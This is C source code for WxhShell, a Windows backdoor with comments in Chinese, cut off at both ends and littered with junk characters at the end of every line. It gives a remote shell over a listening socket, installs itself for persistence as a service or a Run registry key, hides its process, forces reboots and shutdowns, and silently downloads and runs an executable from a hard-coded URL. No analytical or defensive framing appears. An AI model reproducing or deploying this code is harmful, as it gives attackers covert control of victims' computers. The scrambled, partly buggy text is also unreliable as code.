  case 'd': { ]cF1c90%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P"R97#C  
    if(Boot(SHUTDOWN)) Y!Uu173  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P Pwxk;  
    else { +  ZR(  
    closesocket(wsh); ^MW\t4pZ  
    ExitThread(0); ,bZ"8Z"lss  
    } "pSH!0Ap\  
    break; r@*=|0(OrK  
    } ,J~,ga~  
  // 获取shell CB*`  
  case 's': { O+G~Qp0b>  
    CmdShell(wsh); WFU?o[k-O  
    closesocket(wsh); ;[{:'^n  
    ExitThread(0); 9RG\UbX)^|  
    break; vp\PYg;x  
  } ! Q|J']|  
  // 退出 JqI6k6~Q^  
  case 'x': { v!<PDw2'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hmK8j l<6  
    CloseIt(wsh); nB cp7e  
    break; ";wyNpb(  
    } .9T.3yQ  
  // 离开 Z:# .;wA  
  case 'q': { M&uzOK+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g2g`,"T  
    closesocket(wsh); X'V+^u@W  
    WSACleanup(); hl AR[]  
    exit(1); TK; \_yN  
    break; RGT_}ni  
        } 8w)e/*:j  
  } Dk)@>l:gI,  
  } `fQM  
`t{D7I7  
  // 提示信息 {E!$ xY8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _:wZmZU}  
} p>k]C:h  
  } lZ}izl  
LQh^; ]^(  
  return; wqJ*%  
} reJ"r<2  
g~~m' ^  
// shell模块句柄 N=>- Q)  
int CmdShell(SOCKET sock) Q,zC_  
{ +?qf`p.{  
STARTUPINFO si; y._'K+nl  
ZeroMemory(&si,sizeof(si)); sW;7m[o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rs[?v*R74  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @4;HC=~  
PROCESS_INFORMATION ProcessInfo; _FL<egK  
char cmdline[]="cmd"; $Llta,ULE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .D+RLO z  
  return 0; F|ETug n  
} Jzk!K@  
Y{,2X~ 7  
// 自身启动模式 ?V#Gx>\  
int StartFromService(void) &(g m4bTg  
{ vGXWwQ.1Tp  
typedef struct g93I+  
{ 66oK3%[  
  DWORD ExitStatus; zLh Fbyn(  
  DWORD PebBaseAddress; {J{1`@  
  DWORD AffinityMask; ;!'qtw"CB  
  DWORD BasePriority; m'd^?Qc  
  ULONG UniqueProcessId; ;xL67e%?  
  ULONG InheritedFromUniqueProcessId; h]qT1( I  
}   PROCESS_BASIC_INFORMATION; -r!42`S  
7nm}fT z7  
PROCNTQSIP NtQueryInformationProcess; &kb\,mQ  
Q`N18I3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $9G3LgcS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O'fk&&l  
|-|jf  
  HANDLE             hProcess; "hW(S  
  PROCESS_BASIC_INFORMATION pbi; Z,3 CC \  
<lFdexH"T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]x2Jpk99a  
  if(NULL == hInst ) return 0; |,3l`o k  
  7krh4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EY]a6@;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :JR<SFjm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  for {  
sN-oEqS  
  if (!NtQueryInformationProcess) return 0; ]5N zK=2{  
Z #EvRC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9x(}F<L  
  if(!hProcess) return 0; dPHw3^J0j  
<_t5:3HL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M^uU4My  
8zAg;b [  
  CloseHandle(hProcess); w}d}hI  
SWT:frki`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r]9e^  
if(hProcess==NULL) return 0; TaOOq}8c#  
)Lb72;!?  
HMODULE hMod; 8\DME  
char procName[255]; :.DI_XN`  
unsigned long cbNeeded; d4J<,  
tR<L`?4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |-n ('gQ[  
e[}],W  
  CloseHandle(hProcess); t~ -J %$  
sW?B7o?  
if(strstr(procName,"services")) return 1; // 以服务启动 3EmcYC  
D{R/#vM jk  
  return 0; // 注册表启动 @m?{80;uQ  
} >{QdMn  
JPsSw  
// 主模块 *E}Oh  
int StartWxhshell(LPSTR lpCmdLine) d Qai4e>[  
{ l]$40 j  
  SOCKET wsl; } %+qP +O\  
BOOL val=TRUE; Y[ ?`\c|  
  int port=0; LP,9<&"<  
  struct sockaddr_in door; bK<}0Ja[  
-Un=T X  
  if(wscfg.ws_autoins) Install(); uWTN 2jr  
'6X%=f'^b  
port=atoi(lpCmdLine); <PioQ>~  
z>|)ieL  
if(port<=0) port=wscfg.ws_port; "c,!vc4  
tn{8u7  
  WSADATA data; }'TTtV:Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jh?z=JY  
n26>>N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;b1wk^,Hw~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gH'_ymT= 3  
  door.sin_family = AF_INET; {V0>iN:~S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 5|pp  
  door.sin_port = htons(port); *0~M  
UW/N MjK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k-Fdj5/  
closesocket(wsl); gfm;xT/y  
return 1; [fxuUmU  
} q3)wr%!k5D  
]H+{eJB7O  
  if(listen(wsl,2) == INVALID_SOCKET) { jN6b*-2  
closesocket(wsl); y AOg\+  
return 1; "5}%"-#  
} +2Ql~w@$^l  
  Wxhshell(wsl); waCboK'  
  WSACleanup(); ]`d2_mu  
f^?uY8<  
return 0; ;E#\   
(z2Z)_6L*L  
} d=y0yq{L  
+zsZNJ(U  
// 以NT服务方式启动 w" JGO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zKxvN3!  
{ { 5-zyE  
DWORD   status = 0; 1ef'7a7e8  
  DWORD   specificError = 0xfffffff;  w;+ br  
AW/wI6[T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /$:U$JVb?l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z]$>+MH_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?'w sIH]m  
  serviceStatus.dwWin32ExitCode     = 0; HIGNRm  
  serviceStatus.dwServiceSpecificExitCode = 0; m?;$;x~Dj  
  serviceStatus.dwCheckPoint       = 0; %2D17*eK  
  serviceStatus.dwWaitHint       = 0; Mlj#b8  
?/'}JS(Sm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <0 uOq  
  if (hServiceStatusHandle==0) return; g~ !$i`_b  
vCb]%sd-U  
status = GetLastError(); q}wj}t#  
  if (status!=NO_ERROR) c 0-w6  
{ A,BEKjR~J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -72j:nk  
    serviceStatus.dwCheckPoint       = 0; Yj|]Uff8O  
    serviceStatus.dwWaitHint       = 0; x2k*| =$  
    serviceStatus.dwWin32ExitCode     = status; Pz@/|&]  
    serviceStatus.dwServiceSpecificExitCode = specificError; `(DJs-xD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MCU9O  
    return; Q0~j$Jc  
  } ^.vmF>$+I  
6>,# 6{?jl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C),7- ?  
  serviceStatus.dwCheckPoint       = 0; a4&:@`=  
  serviceStatus.dwWaitHint       = 0; nm@']  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0^#DNq*NQ  
} p7C!G1+z  
CCqT tp  
// 处理NT服务事件,比如:启动、停止 WeC(w+}p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &g0g]G21*I  
{ xo  Gb  
switch(fdwControl) yN\e{;z`  
{ }1U*A#aN7K  
case SERVICE_CONTROL_STOP: "K?Q  
  serviceStatus.dwWin32ExitCode = 0; 0pN{y}x,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3taa^e.  
  serviceStatus.dwCheckPoint   = 0; (A{NF(   
  serviceStatus.dwWaitHint     = 0; r5 yO5W  
  { Oq+E6"<y;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B1$ikY  
  } zZ=$O-&%  
  return; YH\j@ ^n  
case SERVICE_CONTROL_PAUSE: |pW\Ec#(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jPk c3dG +  
  break; Hm9<fQuM  
case SERVICE_CONTROL_CONTINUE: A-wRah.M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [w+Q^\%bN  
  break; hNbIpi=  
case SERVICE_CONTROL_INTERROGATE: >]&X ^V%Q#  
  break; V=}1[^  
}; ~R.dPUr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n"G`b  
} maC>LBa2/  
U<Jt50O  
// 标准应用程序主函数 Zw$ OKU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \[#t<dD  
{ G{RTH_p  
Mw^ *yW  
// 获取操作系统版本 M35Ax],:^  
OsIsNt=GetOsVer(); BU6Jyuwn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^$Krub{|  
ssl&5AS  
  // 从命令行安装 8h.V4/?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^%#grX#  
gyu6YD8L  
  // 下载执行文件 }c|UX ZW  
if(wscfg.ws_downexe) { Y=2Un).&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JsQ6l%9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8S  U%  
} KcXpH]>!9  
FifbxL  
if(!OsIsNt) { 5~r2sCDPk  
// 如果时win9x,隐藏进程并且设置为注册表启动 ue0s&WF|  
HideProc(); KAc>-c<  
StartWxhshell(lpCmdLine); T*CME]  
} Gt~JA0+C)7  
else nQ=aLV+'  
  if(StartFromService()) qLjT.7 .x  
  // 以服务方式启动 YG[w@u  
  StartServiceCtrlDispatcher(DispatchTable); uLVBM]Qj  
else '4u v3)P  
  // 普通方式启动 }9&9G%  
  StartWxhshell(lpCmdLine); 8eyl,W=dn  
JNo8>aFOb  
return 0; OW`STp!  
} Gv~p  
T PYDs+U  
M"wue*&  
Q~Ea8UT. #  
=========================================== nvyB/  
8;n_TMb  
^M[P-#X_  
&88oB6$D^q  
? +`x e{k  
Q"VMNvKYB  
" D7Zm2Kj  
Z8&' f,  
#include <stdio.h> DWf$X1M  
#include <string.h> 0=![fjm  
#include <windows.h> 8MZ$T3IM  
#include <winsock2.h> (lWq[0^N  
#include <winsvc.h> g}Q x`65:  
#include <urlmon.h> 4~|<` vqN  
x-_vl 9P)  
#pragma comment (lib, "Ws2_32.lib") cm@;*  
#pragma comment (lib, "urlmon.lib") %l$W*.j|;  
91d }, Mq:  
#define MAX_USER   100 // 最大客户端连接数 6 bO;&  
#define BUF_SOCK   200 // sock buffer !'W-6f  
#define KEY_BUFF   255 // 输入 buffer  CL3xg)x6  
;pZ[|  
#define REBOOT     0   // 重启 3QCVgo i\  
#define SHUTDOWN   1   // 关机 q#[`KOPV  
MR;X&Up6!  
#define DEF_PORT   5000 // 监听端口 ) Yj%#  
}5bM1h#z  
#define REG_LEN     16   // 注册表键长度 4/*q0M{}B  
#define SVC_LEN     80   // NT服务名长度 rVzI_zYqp'  
)#[|hb=o  
// 从dll定义API t9u|iTY f!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y0IK,W'&?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $[(d X!]F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -=5)NH t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .j?kEN?w  
#n7Yr,|Z  
// wxhshell配置信息 p^X^1X7  
struct WSCFG { x"\qf'{D  
  int ws_port;         // 监听端口 Pil;/t)"  
  char ws_passstr[REG_LEN]; // 口令 I>n g`  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mv|!2 [:  
  char ws_regname[REG_LEN]; // 注册表键名 eOY^$#Y  
  char ws_svcname[REG_LEN]; // 服务名 BD*G1k_q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $>w/Cy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !j^&gRH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bFGDgwe z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {o|k.zy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f/ahwz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "J19*<~  
, =y#m- 9  
}; ClQe4uo{  
k-jahm4  
// default Wxhshell configuration oXgdLtsu  
struct WSCFG wscfg={DEF_PORT, r"]'`qP,  
    "xuhuanlingzhe", 0k[2jh  
    1, @d&H]5  
    "Wxhshell", r9@AT(  
    "Wxhshell", E*CcV;  
            "WxhShell Service", ]U_ec*a  
    "Wrsky Windows CmdShell Service",  y4jU{,  
    "Please Input Your Password: ", S`= WF^  
  1, -Kxc$}  
  "http://www.wrsky.com/wxhshell.exe", V|FrN*m  
  "Wxhshell.exe" )K0i@hM(n  
    }; $3;Upgv  
G|4^_`-  
// 消息定义模块 G+WM`:v8%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >l5u54^3K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yl({)qK{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o"+ i&Wp~  
char *msg_ws_ext="\n\rExit."; k1}hIAk3u  
char *msg_ws_end="\n\rQuit."; 2<r\/-#pU  
char *msg_ws_boot="\n\rReboot..."; 9- )qZ  
char *msg_ws_poff="\n\rShutdown..."; @*O?6>  
char *msg_ws_down="\n\rSave to "; yoS? s  
j1U 5~%^  
char *msg_ws_err="\n\rErr!"; u, kU$  
char *msg_ws_ok="\n\rOK!"; erFv(eaDK  
tP(h9|[N  
char ExeFile[MAX_PATH]; bcz-$?]  
int nUser = 0; ]?<n#=eW  
HANDLE handles[MAX_USER]; Y83GKh,*  
int OsIsNt; s&tE_  
0A[esWmP  
SERVICE_STATUS       serviceStatus; #kcSQ'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >k(MUmhX  
WUoOGbA `  
// 函数声明 &M[f&_"8Q  
int Install(void); WES#ZYtT  
int Uninstall(void); = r4!V>  
int DownloadFile(char *sURL, SOCKET wsh); q,l)I+  
int Boot(int flag); Uems\I0  
void HideProc(void); sqO< J$tz  
int GetOsVer(void); 7"2b H  
int Wxhshell(SOCKET wsl); ?M}S| dsmE  
void TalkWithClient(void *cs); p EusTP  
int CmdShell(SOCKET sock); qx)?buAij  
int StartFromService(void); _8fA?q=  
int StartWxhshell(LPSTR lpCmdLine); 9F##F-%x  
46x.i;b7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U ?b".hJ2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (q;bg1\UK  
6|;Uq'  
// 数据结构和表定义 }nrXxfu  
SERVICE_TABLE_ENTRY DispatchTable[] = $yb@ Hhx>  
{ !xK=#pa  
{wscfg.ws_svcname, NTServiceMain}, eSy(~Y  
{NULL, NULL} [kB `  
}; 5ukp^OxE  
"@ E3MTW  
// 自我安装 ?J!3j{4e  
int Install(void) *yaw$oB  
{ ocQWQ   
  char svExeFile[MAX_PATH]; v#oi0-9o[  
  HKEY key; 3S~(:#|  
  strcpy(svExeFile,ExeFile); dE(tFZx  
-n))*.V  
// 如果是win9x系统,修改注册表设为自启动 R.RSQk7;  
if(!OsIsNt) { B!S167Op  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )u} Q:`9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {=Q7m`1  
  RegCloseKey(key); _GA$6#]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ([E]_Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A o/vp-e  
  RegCloseKey(key); Z S|WnMH  
  return 0; M"Y0jQ(  
    } "lVqU  
  } l|"6yB |  
} \vbk#G hH  
else { F:g=i}7  
c:4P%({  
// 如果是NT以上系统,安装为系统服务 _eQ-`?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E`;;&V q-  
if (schSCManager!=0) 5J.0&Dda  
{ )e%}b -I'r  
  SC_HANDLE schService = CreateService !]koSw}  
  ( @F5f"8!.\  
  schSCManager, {7"0,2 Hb?  
  wscfg.ws_svcname, t#wmAOW  
  wscfg.ws_svcdisp, yI;"9G  
  SERVICE_ALL_ACCESS, "VUYh$=[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5LW}h^N  
  SERVICE_AUTO_START, ! fl4"  
  SERVICE_ERROR_NORMAL, dF@)M  
  svExeFile, IApT'QNM  
  NULL, >,5i60Q  
  NULL, [ !%R#+o=F  
  NULL, u'5`[U -!  
  NULL, 2Aq~D@,9=:  
  NULL }VCI=?-  
  ); ?UZ?NY  
  if (schService!=0) 6[ga$nF?  
  { 963aW*r  
  CloseServiceHandle(schService); DVp5hR_$  
  CloseServiceHandle(schSCManager); `C72sA{M.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (/{aJV  
  strcat(svExeFile,wscfg.ws_svcname); z~oDWANP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l]Lx L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4ne5=YY *  
  RegCloseKey(key); 9<1F[SS<s9  
  return 0; TJ_=1Y@z  
    } |Ul,6K@f"5  
  } vT{kL  
  CloseServiceHandle(schSCManager); R)8s  
} </~ 6f(mg  
} c0- ;VZ'  
d IB }_L  
return 1; x~DLW1I  
} MDa7 B +4  
qYB~VE03  
// 自我卸载 Nh!_l  
int Uninstall(void) =t0tK}Y+4  
{ 7(k^a)~PL  
  HKEY key; sfD5!Z9#1  
Kx`/\u=/  
if(!OsIsNt) { oOU1{[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pcd *">v  
  RegDeleteValue(key,wscfg.ws_regname); 0~WF{_0|  
  RegCloseKey(key); J5p8nmb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gBw^,)Q{0Y  
  RegDeleteValue(key,wscfg.ws_regname); '?5j[:QY@  
  RegCloseKey(key); -apXI.  
  return 0; D56<fg$  
  } DocbxB={I  
} z%d#@w0X1  
} `#s#it'y  
else { ~W#sTrK  
Gwec 4D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :' #\  
if (schSCManager!=0) ii|? ;  
{ s95F#>dr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m?CZQq,  
  if (schService!=0) 4mYCSu14:`  
  { ?8V UO x  
  if(DeleteService(schService)!=0) { s|yVAt|=  
  CloseServiceHandle(schService); @tUoD>f  
  CloseServiceHandle(schSCManager); " {de k  
  return 0; 47By`Jh71  
  } T2'RATfG  
  CloseServiceHandle(schService); 8G^<[`.@j  
  } 7{kP}?  
  CloseServiceHandle(schSCManager);  ht97s  
} %/9;ZV  
} R`'1t3p0i  
\}*k)$r  
return 1; fC-P.:F#I  
} $9!D\N,}]C  
P87# CAN  
// 从指定url下载文件 i\?*=\a  
int DownloadFile(char *sURL, SOCKET wsh) 0DPxW8Y-`  
{ k)\gWPH  
  HRESULT hr; X$?3U!  
char seps[]= "/"; W#w.h33)#6  
char *token; +=$  
char *file; -b;|q.!  
char myURL[MAX_PATH]; .i"W8~<e  
char myFILE[MAX_PATH]; ]c)_&{:V  
nA7M8HB  
strcpy(myURL,sURL); pf"<!O[  
  token=strtok(myURL,seps); AG6K daJ  
  while(token!=NULL) 5r,r%{@K  
  { .10y0F L4  
    file=token; 8AFczeg[[  
  token=strtok(NULL,seps); 3)Ac"nuyqH  
  } O~Wt600{E  
s Kicn5  
GetCurrentDirectory(MAX_PATH,myFILE); T Eu'*>g  
strcat(myFILE, "\\"); {jKI^aC<[  
strcat(myFILE, file); V\5 L?}  
  send(wsh,myFILE,strlen(myFILE),0); 1QqHF$S  
send(wsh,"...",3,0); cW8\d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F'm(8/A$  
  if(hr==S_OK) i{c@S:&@^  
return 0; ;az5ZsvN D  
else xG2+(f#C1  
return 1; 8P' ana  
m#e3%150{  
} {D&9UZm  
 UL@9W6  
// 系统电源模块 !c#]?b%  
int Boot(int flag) V7Yaks  
{ kJ:F *34e=  
  HANDLE hToken; U/{6% Qy  
  TOKEN_PRIVILEGES tkp; _banp0ywS  
W;6vpPhg#!  
  if(OsIsNt) { c:!zO\P#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cu!W4Ub<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )~)*=u/  
    tkp.PrivilegeCount = 1; G[Lpe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XMN:]!1J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7Cqcb>\X  
if(flag==REBOOT) { 0u B'g+MU`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (oz$B0HO:  
  return 0; lK7m=[ j  
} ow'Vz Ay-  
else { Mj=$y?d ]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $:s`4N^  
  return 0; } R4c  
} cE'L% Z  
  } y3u+_KY-  
  else { E.bi05l  
if(flag==REBOOT) { sW#JjtK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PCrU<J 7  
  return 0; }G<T:(a  
} `lDut1J5n  
else { P(k(m< 0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z&8un% Jt  
  return 0; `6Qdfmk=  
} |R/.r_x,V?  
} d)o!5L  
Ck =;1sGh  
return 1; B$Z3+$hfF  
} '\#EIG  
?L) !pP]  
// win9x进程隐藏模块 RkEN ,xWE  
void HideProc(void) /\s}uSW  
{ SlLw{Yb7\.  
LjFqZrH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t`'iU$:1f  
  if ( hKernel != NULL ) 4\ c,)U}  
  { owpWz6k7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3-n1 9[zk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b,TiMf9},h  
    FreeLibrary(hKernel); 1SIq[1  
  } r,P1^uHx  
2aA`f7  
return; Uggw-sRU  
} ~tFqb<n  
<|Yj%f  
// 获取操作系统版本 qZEoiNH(Tj  
int GetOsVer(void) N/QiI.V6  
{ wd@aw/  
  OSVERSIONINFO winfo; 4M&`$Wim  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZSy?T  
  GetVersionEx(&winfo); 9Mp$8-=>7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %#L]]-%  
  return 1; 2?C`4AR[2H  
  else 3VnQnd E  
  return 0; |%a4` w  
} /Ss7"*JLe  
%h"z0@+  
// 客户端句柄模块 d'6|:z9c  
int Wxhshell(SOCKET wsl) w@\vHH.;V  
{ hG~reVNf  
  SOCKET wsh; @Y,7'0U  
  struct sockaddr_in client; hJz):d>Im  
  DWORD myID; ?Ucu#UO  
HBE.F&C88  
  while(nUser<MAX_USER) AGP("U'u  
{ e(F42;$$  
  int nSize=sizeof(client); 4F3x@H'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q_W0/Ki8  
  if(wsh==INVALID_SOCKET) return 1; l&YKD,H};  
_lKZmhi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )&{K~i;:  
if(handles[nUser]==0) 8x{B~_~  
  closesocket(wsh); )\;Z4x;]U  
else q*![AzFh  
  nUser++; )QagS.L{z  
  } 6&Juv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5m:i6,4  
RyB~Lm`ZK%  
  return 0; X;F?:Iw\  
} 8;Fn7k_Uf  
V}o n|A  
// 关闭 socket 39F O f  
void CloseIt(SOCKET wsh) ^taBG3P  
{ OU4pjiLx  
closesocket(wsh); juF{}J2  
nUser--; |]Z:&[D]i  
ExitThread(0); e pCLM_yA  
} x.0p%O=`  
R1:k23{  
// 客户端请求句柄 (}r|yE  
void TalkWithClient(void *cs) mV73 \P6K  
{ I]"96'|N  
Zc |/{$>:W  
  SOCKET wsh=(SOCKET)cs; CBQhIvq.d  
  char pwd[SVC_LEN]; SQ,?N XZ  
  char cmd[KEY_BUFF]; 7+TiyY]K  
char chr[1]; S_T^G` [  
int i,j; Sw`RBN[ yo  
F;lI+^}}  
  while (nUser < MAX_USER) { WnwhSr2  
WnUweSdW  
if(wscfg.ws_passstr) { aq+Y7IR_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "jecsqCgK0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GsbAlNP  
  //ZeroMemory(pwd,KEY_BUFF); +QM@VQ  
      i=0; zOEY6lAwI  
  while(i<SVC_LEN) { "TV(H+1,z  
!J*,)kRN  
  // 设置超时 3($"q]Y  
  fd_set FdRead; %u^ JpC{E  
  struct timeval TimeOut; -5>-%13  
  FD_ZERO(&FdRead); G'zF)0oD  
  FD_SET(wsh,&FdRead); 8E&XbqP+  
  TimeOut.tv_sec=8;  rdnno  
  TimeOut.tv_usec=0; ;?}l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .O*bILU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )4?x5#  
Ed0IWPx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /<CSVJ_r  
  pwd=chr[0]; ?T_3n:  
  if(chr[0]==0xd || chr[0]==0xa) { v]% WH~>  
  pwd=0; *?+V65~dW  
  break; G iq=*D+  
  } _ 7PMmW@  
  i++; >StO.Q99  
    } 5G0 $  
YI-O{U  
  // 如果是非法用户,关闭 socket 1CPjil*eb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Iq+>qX   
} D47R  
dt[k\ !-v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e}@)z3Q<l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `6y{.$ z  
P X;Ed*y  
while(1) { /:<IIqO.  
_UE)*l m+  
  ZeroMemory(cmd,KEY_BUFF); Uw-p758dD  
LAx4Xp/  
      // 自动支持客户端 telnet标准   biozZ  
  j=0; zJM S=r  
  while(j<KEY_BUFF) { Sx*oo{Kk%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "'^4*o9  
  cmd[j]=chr[0]; 04J}UE]Ww  
  if(chr[0]==0xa || chr[0]==0xd) { ]Ni$.@Hu$  
  cmd[j]=0; 5!C_X5M  
  break; e&MC|US=\  
  } H$ftGwS8  
  j++; [ rNXQ` /  
    } wdzOFDA  
k{tMzx]F__  
  // 下载文件 I9o6k?$K  
  if(strstr(cmd,"http://")) { bW#@OrsS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wiOgyMdx  
  if(DownloadFile(cmd,wsh)) |8%m.fY`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'tN25$=V&W  
  else iDl;!b&V.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AeIrr*~]B  
  } dX8hpQ  
  else { (F7_S*  
iFSJL,QZ3  
